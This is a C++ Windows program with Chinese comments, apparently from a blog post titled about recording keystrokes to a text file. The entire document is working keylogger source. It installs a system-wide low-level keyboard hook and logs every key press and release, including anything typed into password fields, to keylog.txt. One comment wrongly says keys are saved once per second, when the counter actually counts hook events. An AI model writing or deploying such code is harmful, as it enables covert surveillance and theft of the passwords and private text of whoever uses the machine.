#include <iostream>
#include <fstream>
#include <Windows.h>
// 全局变量
std::ofstream outputFile;
// 键盘钩子回调函数
LRESULT CALLBACK KeyboardHookCallback(int nCode, WPARAM wParam, LPARAM lParam) {
static int counter = 0;
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* pKeyboardHookStruct = (KBDLLHOOKSTRUCT*)lParam;
DWORD vkCode = pKeyboardHookStruct->vkCode;
DWORD flags = pKeyboardHookStruct->flags;
// 检查按键是否被按下或释放
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && !(flags & 0x0100)) {
char character[2] = { 0 };
// 获取键盘状态
BYTE keyState[256];
GetKeyboardState(keyState);
// 转换虚拟键码为字符表示
if (ToAscii(vkCode, pKeyboardHookStruct->scanCode, keyState, (WORD*)character, 0) > 0) {
// 将按键信息写入文件
outputFile << "按下: " << character << std::endl;
}
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && !(flags & 0x0100)) {
char character[2] = { 0 };
// 获取键盘状态
BYTE keyState[256];
GetKeyboardState(keyState);
// 转换虚拟键码为字符表示
if (ToAscii(vkCode, pKeyboardHookStruct->scanCode, keyState, (WORD*)character, 0) > 0) {
// 将按键信息写入文件
outputFile << "释放: " << character << std::endl;
}
}
}
counter++;
// 每秒存储一次按键信息
if (counter >= 1000) {
outputFile.flush();
counter = 0;
}
// 调用下一个钩子
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main() {
// 打开输出文件
outputFile.open("keylog.txt", std::ios::app);
// 获取当前模块句柄
HINSTANCE hInstance = GetModuleHandle(NULL);
// 安装键盘钩子
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookCallback, hInstance, 0);
// 消息循环
MSG message;
while (GetMessage(&message, NULL, 0, 0)) {
TranslateMessage(&message);
DispatchMessage(&message);
}
// 卸载键盘钩子
UnhookWindowsHookEx(keyboardHook);
// 关闭输出文件
outputFile.close();
return 0;
}
记录键盘按键信息到文本
最新推荐文章于 2024-10-17 20:36:47 发布